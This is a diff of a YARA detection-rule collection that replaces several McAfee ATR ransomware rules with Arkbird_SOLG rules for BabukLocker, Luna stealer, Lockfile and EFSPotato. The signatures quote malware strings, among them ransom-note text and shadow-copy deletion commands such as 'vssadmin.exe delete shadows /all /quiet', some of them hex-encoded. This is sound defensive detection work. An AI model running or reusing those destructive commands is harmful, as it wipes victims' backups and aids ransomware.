-		$s5 = " * Do not try to decrypt your data using third party software, it may cause permanent data loss." fullword wide
-		$s6 = " * Do not rename encrypted files." fullword wide
-		$s7 = ".compositiontemplate" fullword wide
-		$s8 = "You have to pay for decryption in Bitcoins. The price depends on how fast you write to us." fullword wide
-		$s9 = "\\READ_IT.txt" fullword wide
-		$s10 = ".lastlogin" fullword wide
-		$s11 = ".logonxp" fullword wide
-		$s12 = " * Decryption of your files with the help of third parties may cause increased price" fullword wide
-		$s13 = "After payment we will send you the decryption tool that will decrypt all your files." fullword wide
+		$s1 = "C:\\Users\\spartan\\Documents\\Visual Studio 2010\\new projects\\frontend\\Release\\test.pdb" fullword ascii
+		$s2 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 Edg/81.0.416.68" fullword ascii
+		$s3 = "bbLorkybbYngxkjbb]khbbmgvjgz4k~k" fullword ascii
+		$s4 = "8&8-8X8.959?9Q9h9v9|9" fullword ascii
+		$s5 = "0$0h4h5l5p5t5x5|5" fullword ascii
+		$s6 = "?&?+?1?7?M?T?g?z?" fullword ascii
+		$s7 = "12.02.1245" fullword ascii
+		$s8 = ">>?C?L?[?~?" fullword ascii
+		$s9 = "6*6=6P6b6" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <800KB) and all of them
+		uint16(0)==0x5a4d and filesize <30KB and 7 of them
 }
-rule TRELLIX_ARC_Ransom_Xinof : RANSOMWARE FILE
+rule ARKBIRD_SOLG_Ran_Babuklockers_Jan_2021_1 : FILE
 {
 	meta:
-		description = "Detect Xinof ransomware"
-		author = "Thomas Roccia | McAfee ATR team"
-		id = "3b064ce4-cd5b-5a4a-bb55-a2c2c361791e"
-		date = "2020-11-20"
-		modified = "2020-11-20"
-		reference = "https://labs.sentinelone.com/the-fonix-raas-new-low-key-threat-with-unnecessary-complexities/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_xinof.yar#L53-L82"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "0c1e6299a2392239dbe7fead33ef4146"
-		logic_hash = "42110ee8869d56c53dc201cbc83652c6457541b8d502aa12b37ef6200e735a15"
-		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom/XINOF"
-		actor_type = "Cybercrime"
-		actor_group = "FONIX"
+		description = "Detect the BabukLocker ransomware"
+		author = "Arkbird_SOLG"
+		id = "a3bad41d-59fb-564f-a352-ca38af582c08"
+		date = "2020-01-03"
+		modified = "2021-01-03"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-01-02/BabukLocker/Ran_BabukLockers_Jan_2021_1.yar#L1-L23"
+		license_url = "N/A"
+		logic_hash = "8939e408948dd7b17acdac5c6b5f50db24ec63f19937b8663a15f52b678d0065"
+		score = 50
+		quality = 75
+		tags = "FILE"
+		hash1 = "8203c2f00ecd3ae960cb3247a7d7bfb35e55c38939607c85dbdb5c92f0495fa9"
+		level = "Experimental"
 
 	strings:
-		$s1 = "XINOF.exe" nocase ascii
-		$s2 = "C:\\Users\\Phoenix" nocase ascii
-		$s3 = "How To Decrypt Files.hta" nocase ascii
-		$s4 = "C:\\ProgramData\\norunanyway" nocase ascii
-		$s5 = "C:\\ProgramData\\clast" nocase ascii
-		$s6 = "fonix1" nocase ascii
-		$s7 = "C:\\Windows\\System32\\shatdown.exe" nocase ascii
-		$s8 = "XINOF Ransomw" nocase ascii
-		$s9 = "XINOF v4.2" nocase ascii
-		$s10 = "XINOF Ransomware Version 3.3" nocase ascii
+		$seq1 = { 55 8b ec 83 ec 14 a1 b0 81 40 00 33 c5 89 45 fc c7 45 f8 ff ff ff ff c7 45 f4 00 40 00 00 8d 45 f0 50 8b 4d 08 51 6a 13 6a 00 6a 02 e8 85 2b 00 00 85 c0 0f 85 a3 00 00 00 8b 55 f4 52 e8 ae 06 00 00 83 c4 04 89 45 08 83 7d 08 00 0f 84 81 00 00 00 8d 45 f4 50 8b 4d 08 51 8d 55 f8 52 8b 45 f0 50 e8 55 2b 00 00 85 c0 75 5c c7 45 ec 00 00 00 00 eb 09 8b 4d ec 83 c1 01 89 4d ec 8b 55 ec 3b 55 f8 73 40 8b 45 ec c1 e0 05 8b 4d 08 8b 54 01 0c 83 e2 02 74 14 8b 45 ec c1 e0 05 03 45  }
+		$seq2 = { 68 68 22 40 00 b8 04 00 00 00 c1 e0 00 8b 8d 9c fd ff ff 8b 14 01 52 ff 15 b8 90 40 00 85 c0 75 0c c7 85 b0 fd ff ff 01 00 00 00 eb 58 68 74 22 40 00 b8 04 00 00 00 c1 e0 00 8b 8d 9c fd ff ff 8b 14 01 52 ff 15 b8 90 40 00 85 c0 75 0c c7 85 b0 fd ff ff 00 00 00 00 eb 2b 68 80 22 40 00 b8 04 00 00 00 c1 e0 00 8b 8d 9c fd ff ff 8b 14 01 52 ff 15 b8 90 40 00 85 c0 75 0a c7 85 b0 fd ff ff ff ff ff ff e9 55 ff ff ff 6a 00 6a 00 ff 15 a8 90 40 00 e8 aa 04 00 00 e8 05 }
+		$seq3 = { 83 c4 0c 68 f4 00 00 00 8d 85 f4 fd ff ff 50 68 88 22 40 00 ff 15 6c 90 40 00 68 98 22 40 00 8d 8d f4 fd ff ff 51 ff 15 c4 90 40 00 c7 85 ec fd ff ff 00 00 00 00 6a 00 68 80 00 00 00 6a 01 6a 00 6a 01 68 00 00 00 40 8d 95 f4 fd ff ff 52 ff 15 70 90 40 00 89 85 98 fd ff ff 83 bd 98 fd ff ff ff 0f 84 2e 03 00 00 6a 00 8d 85 ec fd ff ff 50 68 90 00 00 00 68 78 82 40 00 8b 8d 98 fd ff ff 51 ff 15 90 90 }
+		$s1 = "\\ecdh_pub_k.bin" fullword wide
+		$s2 = "ntuser.dat.log" fullword wide
+		$s3 = "cmd.exe" fullword ascii
+		$s4 = "/c vssadmin.exe delete shadows /all /quiet" fullword wide
+		$s5 = { 5c 00 5c 00 3f 00 5c 00 00 00 00 00 3a 00 00 00 98 2f }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and 5 of ($s*) or TRELLIX_ARC_Ransom_Xinof_Chunk_PRIVATE
+		uint16(0)==0x5a4d and filesize >15KB and 2 of ($seq*) and 3 of ($s*)
 }
-import "pe"
-
-rule TRELLIX_ARC_Ransom_Tunderx : RANSOMWARE FILE
+rule ARKBIRD_SOLG_MAL_Luna_Stealer_Apr_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect tthe ThunderX ransomware family"
-		author = "McAfee ATR team"
-		id = "cf5ecd0c-db26-5fe4-a056-b5c1ca3b1d34"
-		date = "2020-09-14"
-		modified = "2020-10-12"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/Ransom_ThunderX.yar#L3-L45"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "f870616c4a35239a01129daad5f12469b2df39251ee4bc9fbeb5523f00231ece"
+		description = "Detect Luna stealer (also Mercurial Grabber)"
+		author = "Arkbird_SOLG"
+		id = "2fecce99-5869-5de0-afae-6dc245748fa6"
+		date = "2021-08-29"
+		modified = "2021-08-30"
+		reference = "https://github.com/NightfallGT/Mercurial-Grabber"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Luna/MAL_Luna_Stealer_Apr_2021_1.yara#L1-L22"
+		license_url = "N/A"
+		logic_hash = "934ded815c262fa8bee38638e17ed8c2b1f0dcad28037bf1d525e11bf7e34dce"
 		score = 75
-		quality = 68
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransomware:W32/ThunderX"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
-		hash1 = "7bab5dedef124803668580a59b6bf3c53cc31150d19591567397bbc131b9ccb6"
-		hash2 = "0fbfdb8340108fafaca4c5ff4d3c9f9a2296efeb9ae89fcd9210e3d4c7239666"
-		hash3 = "7527459500109b3bb48665236c5c5cb2ec71ba789867ad2b6417b38b9a46615e"
+		quality = 75
+		tags = "FILE"
+		hash1 = "a14918133b9b818fa2e8728faa075c4f173fa69abc424f39621d6aa1405f5a18"
+		hash2 = "93563f68975a858ff07f7eb91f4e0c997f0212d58b1755704d89fecd442d448f"
+		hash3 = "0521bb85472869598d9aa822b11edc04044dbe876dbf9900565bfdc8e02c2b21"
+		hash4 = "ce35eb5ba2f3f36b3d2742b33d3dbbe95f5ec6b93942ba20be4693528b163e3a"
+		tlp = "White"
+		adversary = "-"
 
 	strings:
-		$pattern1 = "626364656469742E657865202F736574207B64656661756C747D20626F6F74737461747573706F6C6963792069676E6F7265616C6C6661696C75726573"
-		$s3 = "776261646D696E2044454C4554452053595354454D53544154454241434B5550202D64656C6574654F6C64657374" ascii
-		$s4 = "626364656469742E657865202F736574207B64656661756C747D207265636F76657279656E61626C6564204E6F" ascii
-		$s5 = "776261646D696E2044454C4554452053595354454D53544154454241434B5550" ascii
-		$s6 = "433A5C50726F6772616D2046696C65732028783836295C4D6963726F736F66742053514C20536572766572" ascii
-		$s7 = "476C6F62616C5C33353335354641352D303745392D343238422D423541352D314338384341423242343838" ascii
-		$s8 = "433A5C50726F6772616D2046696C65735C4D6963726F736F66742053514C20536572766572" ascii
-		$s9 = "76737361646D696E2E6578652044656C65746520536861646F7773202F416C6C202F5175696574" ascii
-		$s10 = "776D69632E65786520534841444F57434F5059202F6E6F696E746572616374697665" ascii
-		$s11 = "534F4654574152455C4D6963726F736F66745C45524944" ascii
-		$s12 = "AppPolicyGetProcessTerminationMethod" fullword ascii
-		$s13 = "7B5041545445524E5F49447D" ascii
-		$s14 = "726561646D652E747874" ascii
-		$s15 = "226E6574776F726B223A22" ascii
-		$s16 = "227375626964223A22" ascii
-		$s17 = "226C616E67223A22" ascii
-		$s18 = "22657874223A22" ascii
-		$s19 = "69642E6B6579" ascii
-		$s20 = "7B5549447D" ascii
-		$seq0 = { eb 34 66 0f 12 0d 10 c4 41 00 f2 0f 59 c1 ba cc }
-		$seq1 = { 6a 07 50 e8 51 ff ff ff 8d 86 d0 }
-		$seq2 = { ff 15 34 81 41 00 eb 15 83 f8 fc 75 10 8b 45 f4 }
+		$s1 = { 73 ?? 00 00 0a 0b 07 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 0a 6f ?? 00 00 0a 0c 08 6f ?? 00 00 0a 6f ?? 00 00 0a 6f ?? 00 00 0a 0d 09 6f ?? 00 00 0a 0a 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 06 28 ?? 00 00 0a de 0a 07 2c 06 07 6f ?? 00 00 0a dc de 1a 13 04 72 [2] 00 70 11 04 6f ?? 00 00 0a 28 ?? 00 00 0a 28 ?? 00 00 0a de 00 2a }
+		$s2 = { 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 0a 02 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 7d ?? 00 00 04 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 0b 02 06 72 [2] 00 70 07 28 ?? 00 00 0a 7d ?? 00 00 04 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 0c 02 72 [2] 00 70 02 7b ?? 00 00 04 72 [2] 00 70 08 28 ?? 00 00 0a 7d ?? 00 00 04 02 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 7d ?? 00 00 04 02 7b ?? 00 00 04 28 ?? 00 00 0a 1f 16 63 21 00 b0 ca a2 4a 01 00 00 58 0d 09 28 ?? 00 00 0a 13 05 12 05 28 ?? 00 00 0a 13 04 02 12 04 fe 16 ?? 00 00 01 6f ?? 00 00 0a 7d ?? 00 00 04 2a }
+		$s3 = { 72 [2] 00 70 73 ?? 00 00 0a 0a 06 6f ?? 00 00 0a 6f ?? 00 00 0a 0c 2b 75 08 6f ?? 00 00 0a 74 ?? 00 00 01 0b 07 72 [2] 00 70 6f ?? 00 00 0a 2c 16 02 07 72 [2] 00 70 6f ?? 00 00 0a 6f ?? 00 00 0a 7d ?? 00 00 04 07 72 [2] 00 70 6f ?? 00 00 0a 2c 16 02 07 72 [2] 00 70 6f ?? 00 00 0a 6f ?? 00 00 0a 7d ?? 00 00 04 07 72 ?? 19 00 70 6f ?? 00 00 0a 2c 16 02 07 72 ?? 19 00 70 6f ?? 00 00 0a 6f ?? 00 00 0a 7d ?? 00 00 04 08 6f ?? 00 00 0a 2d 83 de 0a 08 2c 06 08 6f ?? 00 00 0a dc 2a }
+		$x1 = "---------------- mercurial grabber ----------------" fullword wide
+		$x2 = { 5c 00 73 00 2a 00 3a 00 5c 00 73 00 2a 00 28 00 22 00 28 00 3f 00 3a 00 5c 00 5c 00 22 00 7c 00 5b 00 5e 00 22 00 5d 00 29 00 2a 00 3f }
+		$x3 = { 5b 00 5c 00 77 00 2d 00 5d 00 7b 00 32 00 34 00 7d 00 5c 00 2e 00 5b 00 5c 00 77 00 2d 00 5d 00 7b 00 36 00 7d 00 5c 00 2e 00 5b 00 5c 00 77 00 2d 00 5d 00 7b 00 32 00 37 00 7d 00 01 1d 6d 00 66 00 61 00 5c 00 2e 00 5b 00 5c 00 77 00 2d 00 5d 00 7b 00 38 00 34 00 7d }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and pe.imphash()=="ea7e408cd2a264fd13492973e97d8d70" and $pattern1 and 4 of them ) and all of ($seq*) or ( all of them )
+		uint16(0)==0x5a4d and filesize >20KB and 2 of ($x*) and 2 of ($s*)
 }
-rule TRELLIX_ARC_Ransom_Babuk : RANSOM T1027 T1083 T1057 T1082 T1129 T1490 T1543_003 FILE
+rule ARKBIRD_SOLG_RAN_Lockfile_Aug_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Babuk Locker"
-		author = "TS @ McAfee ATR"
-		id = "7c0a3b4e-90aa-5442-aa5e-1a7fcae9bec8"
-		date = "2021-01-19"
-		modified = "2021-02-24"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_BabukLocker_Jan2021.yar#L1-L25"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "e10713a4a5f635767dcd54d609bed977"
-		logic_hash = "123cebd1c2e66f3e91ee235cb9288df63dfaeba02e6df45f896cb50f38851a8f"
-		score = 75
-		quality = 70
-		tags = "RANSOM, T1027, T1083, T1057, T1082, T1129, T1490, T1543.003, FILE"
-		rule_version = "v2"
-		malware_family = "Ransom:Win/Babuk"
-		malware_type = "Ransom"
-		mitre_attack = "T1027, T1083, T1057, T1082, T1129, T1490, T1543.003"
+		description = "Detect Lockfile ransomware (unpacked version)"
+		author = "Arkbird_SOLG"
+		id = "4abe2e70-5df9-5c5c-ac11-0c958d5430b7"
+		date = "2021-08-28"
+		modified = "2021-08-29"
+		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/RAN_Lockfile_Aug_2021_1.yara#L1-L19"
+		license_url = "N/A"
+		logic_hash = "6fc04316b8b4790494a8c88c8435245a051b2757e5936a5ef95cae2f05907b63"
+		score = 50
+		quality = 75
+		tags = "FILE"
+		hash1 = "3303a19789a73fa70a107f8e35a4ce10bb4f6a69ac041a1947481ed8ae99a11c"
+		level = "experimental"
+		adversary = "Lockfile"
 
 	strings:
-		$s1 = {005C0048006F007700200054006F00200052006500730074006F0072006500200059006F00750072002000460069006C00650073002E007400780074}
-		$s2 = "delete shadows /all /quiet" fullword wide
-		$pattern1 = {006D656D74617300006D65706F63730000736F70686F730000766565616D0000006261636B7570000047785673730000004778426C7200000047784657440000004778435644000000477843494D67720044656657617463680000000063634576744D67720000000063635365744D677200000000536176526F616D005254567363616E0051424643536572766963650051424944505365727669636500000000496E747569742E517569636B426F6F6B732E46435300}
-		$pattern2 = {004163725363683253766300004163726F6E69734167656E74000000004341534144324457656253766300000043414152435570646174655376630000730071}
-		$pattern3 = {FFB0154000C78584FDFFFFB8154000C78588FDFFFFC0154000C7858CFDFFFFC8154000C78590FDFFFFD0154000C78594FDFFFFD8154000C78598FDFFFFE0154000C7859CFDFFFFE8154000C785A0FDFFFFF0154000C785A4FDFFFFF8154000C785A8FDFFFF00164000C785ACFDFFFF08164000C785B0FDFFFF10164000C785B4FDFFFF18164000C785B8FDFFFF20164000C785BCFDFFFF28164000C785C0FDFFFF30164000C785C4FDFFFF38164000C785C8FDFFFF40164000C785CCFDFFFF48164000C785D0FDFFFF50164000C785D4FDFFFF581640}
-		$pattern4 = {400010104000181040002010400028104000301040003810400040104000481040005010400058104000601040006C10400078104000841040008C10400094104000A0104000B0104000C8104000DC104000E8104000F01040000011400008114000181140002411400038114000501140005C11400064114000741140008C114000A8114000C0114000E0114000F4114000101240002812400034124000441240005412400064124000741240008C124000A0124000B8124000D4124000EC1240000C1340002813400054134000741340008C134000A4134000C4134000E8134000FC134000141440003C144000501440006C144000881440009C144000B4144000CC144000E8144000FC144000141540003415400048154000601540007815}
+		$s1 = { 80 32 41 48 8d 52 01 ff c1 81 f9 d1 57 00 00 72 ef 4c 8d 05 78 d4 06 00 33 d2 33 c9 ff 15 06 9a 05 00 48 8b d8 ff 15 0d 9a 05 00 48 8b cb 3d b7 00 00 00 75 14 ff 15 0d 9a 05 00 33 c0 48 81 c4 d0 03 00 00 41 5c 5b 5d c3 4c 89 b4 24 c8 03 00 00 4c 89 bc 24 c0 03 00 00 ff 15 e9 99 05 00 ff }
+		$s2 = "winsta0\\default" fullword ascii
+		$s3 = { 55 56 57 48 8d 6c 24 f0 48 81 ec 10 01 00 00 33 db 48 8b f1 48 89 5c 24 68 48 89 5d 40 48 89 5c 24 60 ff 15 0b a2 05 00 8b c8 89 45 38 48 8d 54 24 68 ff 15 1b a5 05 00 0f 57 c0 8d 7b 30 33 c0 48 89 45 00 48 89 45 98 48 8d 05 d4 db 06 00 0f 11 45 a0 c7 45 a0 68 00 00 00 0f 11 45 b0 48 89 45 b0 0f 11 45 c0 0f 11 45 d0 0f 11 45 e0 0f 11 45 f0 0f 11 45 88 ff 15 17 a2 05 00 4c 8d 44 24 60 ba eb 01 02 00 48 8b c8 ff 15 4c a1 05 00 85 c0 0f 84 10 01 00 00 4c 8d 44 24 70 33 c9 48 8d 15 8e db 06 00 ff 15 28 a1 05 00 85 c0 0f 84 f4 00 00 00 48 8b 44 24 70 44 8d 4b 01 48 8b 4c 24 60 45 33 c0 48 89 44 24 7c ba 00 00 00 02 48 8d 45 40 c7 44 24 78 01 00 00 00 48 89 44 24 28 c7 44 24 20 01 00 00 00 c7 45 84 02 00 00 00 ff 15 ef a0 05 00 85 }
+		$s4 = { 48 8d 85 18 03 00 00 40 88 74 24 53 48 89 44 24 30 4c 8d 4c 24 44 48 8b 05 57 04 0c 00 48 8d 15 f0 dd 06 00 48 89 44 24 28 48 8d 8d d0 01 00 00 48 8d 45 b0 4c 8b c3 48 89 44 24 20 e8 13 f3 ff ff 48 89 74 24 30 48 8d 8d d0 01 00 00 c7 44 24 28 80 00 00 00 45 33 c9 45 33 c0 c7 44 24 20 02 00 00 00 ba 00 00 00 c0 ff 15 a6 a3 05 00 44 8b 05 8f fe 07 00 48 8d 4d 88 48 8b f8 e8 23 b5 ff ff 48 83 }
+		$s5 = { 3c 63 6f 6d 70 75 74 65 72 6e 61 6d 65 3e 25 73 3c 2f 63 6f 6d 70 75 74 65 72 6e 61 6d 65 3e 00 3c 62 6c 6f 63 6b 6e 75 6d 3e 25 64 3c 2f 62 6c 6f 63 6b 6e 75 6d 3e 00 25 73 5c 25 73 2d 25 73 2d 25 64 25 73 }
+		$s6 = { 33 d2 48 8d 8d c0 00 00 00 41 b8 04 01 00 00 e8 48 99 03 00 48 8d 95 10 03 00 00 c7 85 10 03 00 00 04 01 00 00 48 8d 4d b0 ff 15 c5 a5 05 00 4c 8d 45 b0 48 8d 15 2a df 06 00 48 8d 8d c0 00 00 00 e8 96 f4 ff ff 44 8d 46 02 48 8d 15 33 df 06 00 48 8d 4c 24 68 e8 81 f4 ff ff c6 85 18 03 00 00 2f 8b ce c6 85 19 03 00 00 69 c6 85 1a 03 00 00 75 c6 85 1b 03 00 00 62 40 88 b5 1c 03 00 00 0f b6 }
 
 	condition:
-		filesize >=15KB and filesize <=90KB and 1 of ($s*) and 3 of ($pattern*)
+		uint16(0)==0x5a4d and filesize >10KB and 5 of ($s*)
 }
-rule TRELLIX_ARC_Loocipher_Ransomware : RANSOMWARE FILE
+rule ARKBIRD_SOLG_Tool_Efspotatoe_Aug_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Loocipher ransomware"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "d18efe09-4b04-5089-84f8-aead63fc19bb"
-		date = "2019-12-05"
-		modified = "2020-08-14"
-		reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/analysis-of-loocipher-a-new-ransomware-family-observed-this-year/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Loocipher.yar#L1-L46"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "7720aa6eb206e589493e440fec8690ceef9e70b5e6712a9fec9208c03cac7ff0"
-		logic_hash = "36e452c34fd9bbb521f5422bffdbb71991de66f3faa29292dc3f27c8d7e1f9ba"
+		description = "Detect custom .NET variant EFSPotatoe tool"
+		author = "Arkbird_SOLG"
+		id = "614a6543-89ce-5f75-9933-766fd1e5458b"
+		date = "2021-08-27"
+		modified = "2021-08-29"
+		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/Tool_EFSPotatoe_Aug_2021_1.yara#L1-L19"
+		license_url = "N/A"
+		logic_hash = "a9fed543aeaba380688ec59034b0e8c90fc0bea986085958966101bd44cf480f"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Loocipher"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "c372c54b11465688201e2d48ffd5fd5b0ca49360858a70ce8413f5c9e24c8050"
+		hash2 = "441cb0576151b2e5b5127be72a5bcdf3577a596f0a4e1f2c6836248fe07eb818"
+		adversary = "Lockfile"
 
 	strings:
-		$x1 = "c:\\users\\usuario\\desktop\\cryptolib\\gfpcrypt.h" fullword ascii
-		$x2 = "c:\\users\\usuario\\desktop\\cryptolib\\eccrypto.h" fullword ascii
-		$s3 = "c:\\users\\usuario\\desktop\\cryptolib\\gf2n.h" fullword ascii
-		$s4 = "c:\\users\\usuario\\desktop\\cryptolib\\queue.h" fullword ascii
-		$s5 = "ThreadUserTimer: GetThreadTimes failed with error " fullword ascii
-		$s6 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<struct CryptoPP::ProjectivePoint> > >::operator *" fullword wide
-		$s7 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<struct CryptoPP::ProjectivePoint> > >::operator +=" fullword wide
-		$s8 = "std::basic_string<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator []" fullword wide
-		$s9 = "std::vector<struct CryptoPP::ProjectivePoint,class std::allocator<struct CryptoPP::ProjectivePoint> >::operator []" fullword wide
-		$s10 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<class CryptoPP::Integer> > >::operator *" fullword wide
-		$s11 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<class CryptoPP::Integer> > >::operator +=" fullword wide
-		$s12 = "std::vector<struct CryptoPP::WindowSlider,class std::allocator<struct CryptoPP::WindowSlider> >::operator []" fullword wide
-		$s13 = "std::istreambuf_iterator<char,struct std::char_traits<char> >::operator ++" fullword wide
-		$s14 = "std::istreambuf_iterator<char,struct std::char_traits<char> >::operator *" fullword wide
-		$s15 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<struct CryptoPP::ProjectivePoint> > >::_Compat" fullword wide
-		$s16 = "std::vector<class CryptoPP::PolynomialMod2,class std::allocator<class CryptoPP::PolynomialMod2> >::operator []" fullword wide
-		$s17 = "DL_ElgamalLikeSignatureAlgorithm: this signature scheme does not support message recovery" fullword ascii
-		$s18 = "std::vector<struct CryptoPP::ECPPoint,class std::allocator<struct CryptoPP::ECPPoint> >::operator []" fullword wide
-		$s19 = "std::vector<struct CryptoPP::EC2NPoint,class std::allocator<struct CryptoPP::EC2NPoint> >::operator []" fullword wide
-		$s20 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<class CryptoPP::Integer> > >::_Compat" fullword wide
+		$s1 = { 5c 00 70 00 69 00 70 00 65 00 5c 00 6c 00 73 00 61 00 72 00 70 00 63 }
+		$s2 = "ncacn_np" fullword wide
+		$s3 = "WinSta0\\Default" fullword wide
+		$s4 = { 11 00 72 cc 01 00 70 28 06 00 00 0a 00 dd de 02 00 00 00 de 12 07 14 fe 01 13 0f 11 0f 2d 07 07 6f 0f 00 00 0a 00 dc 00 28 10 00 00 0a 13 10 12 10 72 16 02 00 70 28 11 00 00 0a 0d 72 1a 02 00 70 09 72 2e 02 00 70 28 12 00 00 0a 13 04 11 04 19 16 1f 0a 20 00 08 00 00 20 00 08 00 00 16 7e 0d 00 00 0a 28 06 00 00 06 13 05 11 05 15 73 13 00 00 0a 28 14 00 00 0a 16 fe 01 13 0f 11 0f 2d 25 00 72 48 02 00 70 28 0e 00 00 0a 73 15 00 00 0a 6f 16 00 00 0a 28 0a 00 00 0a 28 06 00 00 0a 00 38 4a 02 00 00 16 73 17 00 00 0a 13 06 14 fe 06 04 00 00 06 73 18 00 00 0a 73 19 00 00 0a 13 07 11 07 17 6f 1a 00 00 0a 00 11 07 18 8d 01 00 00 01 13 11 11 11 16 11 05 8c 15 00 00 01 a2 11 11 17 11 06 a2 11 11 6f 1b 00 00 0a 00 14 fe 06 03 00 00 06 73 18 00 00 0a 73 19 00 00 0a 13 08 11 08 17 6f 1a 00 00 0a 00 11 08 09 6f 1b 00 00 0a 00 11 06 20 e8 03 00 00 6f 1c 00 00 0a 16 fe 01 13 0f 11 0f 3a 93 01 00 00 00 11 05 28 08 00 00 06 16 fe 01 13 0f 11 0f 3a 7c 01 00 00 00 28 08 00 00 0a 6f 0b 00 00 0a 13 09 72 7c 02 00 70 11 09 8c 15 00 00 01 28 1d 00 00 0a 28 06 00 00 0a 00 12 0a fe 15 08 00 00 02 12 0a 11 0a 28 02 00 00 2b 7d 1d 00 00 04 12 0a 7e 0d 00 00 0a 7d 1e 00 00 04 12 0a 17 7d 1f 00 00 04 12 0b 12 0c 12 0a 20 00 04 00 00 28 0b 00 00 06 26 12 0d fe 15 06 00 00 02 12 0e fe 15 07 00 00 02 12 0e 11 0e 28 03 00 00 2b 7d 0b 00 00 04 12 0e 11 0c 7d 1c 00 00 04 12 0e 11 0c 7d 1b 00 00 04 12 0e 72 9c 02 00 70 7d 0d 00 00 04 12 0e 20 01 01 00 00 7d 16 00 00 04 12 0e 16 7d 17 00 00 04 }
+		$s5 = "EfsPotato <cmd>" wide
+		$s6 = "\\\\.\\pipe\\" wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <17000KB and (1 of ($x*) and 4 of them )) or ( all of them )
+		uint16(0)==0x5a4d and filesize >10KB and 5 of ($s*)
 }
-rule TRELLIX_ARC_Snake_Ransomware : RANSOMWARE FILE
+rule ARKBIRD_SOLG_MAL_Killproc_Aug_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Snake ransomware"
-		author = "McAfee ATR Team"
-		id = "b8f50af5-5568-5676-93a1-e818f08df0ce"
-		date = "2020-02-20"
-		modified = "2020-10-12"
-		reference = "https://dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/"
